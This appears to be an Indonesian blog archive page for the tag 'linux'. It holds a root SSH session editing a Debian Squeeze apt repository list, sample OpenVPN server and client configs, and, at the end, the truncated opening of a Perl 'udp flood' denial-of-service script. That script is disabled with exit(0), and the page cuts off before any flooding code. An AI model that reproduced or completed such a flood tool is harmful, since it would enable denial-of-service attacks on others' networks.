Tag Archives: linux

Repositori Lokal pada Debian Squeeze

login as: root
root@1xx.xxx.xx.xxx’s password:
Linux mail 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 27 02:19:01 2011 from 1xx.xx.xxx.xxx
root@mail:~# nano /etc/apt/sources.list

# Repo UGM Debian Squeeze
deb http://repo.ugm.ac.id/debian squeeze main non-free contrib
deb-src http://repo.ugm.ac.id/debian squeeze main non-free contrib

Contoh : Config OpenVPN Server &  Client (CentOS)

Berikut adalah Contoh config server & client OPENVPN
——————–Server Side———————
local 66.96.xx.xx #- sesuaikan dengan IP anda
port 9999 #- ganti port sesuai dengan keinginan anda
proto udp #- bisa udp atau tcp
dev tun
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt
cert /etc/openvpn/easy-rsa/2.0/keys/server.crt
key /etc/openvpn/easy-rsa/2.0/keys/server.key
dh /etc/openvpn/easy-rsa/2.0/keys/dh1024.pem
server 1.2.3.0 255.255.255.0
#-ifconfig-pool-persist ipp.txt
push “redirect-gateway def1″
push “dhcp-option DNS 208.67.222.222″
push “dhcp-option DNS 208.67.220.220″
keepalive 5 30
comp-lzo
persist-key
persist-tun
status server-tcp.log
verb 3
——————–Server Side———————

——————–Client Side———————

client
dev tun
proto udp
remote 66.96.xx.xx 9999 #- sesuaikan dengan ip server dan port yang digunakan
resolv-retry infinite
nobind
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
persist-key
persist-tun
ca ca.crt
;auth-user-pass
comp-lzo
verb 3
——————–Client Side———————

#!/usr/bin/perl-udp  flood

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# –/odix
######################################################
# pseudo-crippled by packetstorm to stop script kiddies.
exit(0);
#
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf “$0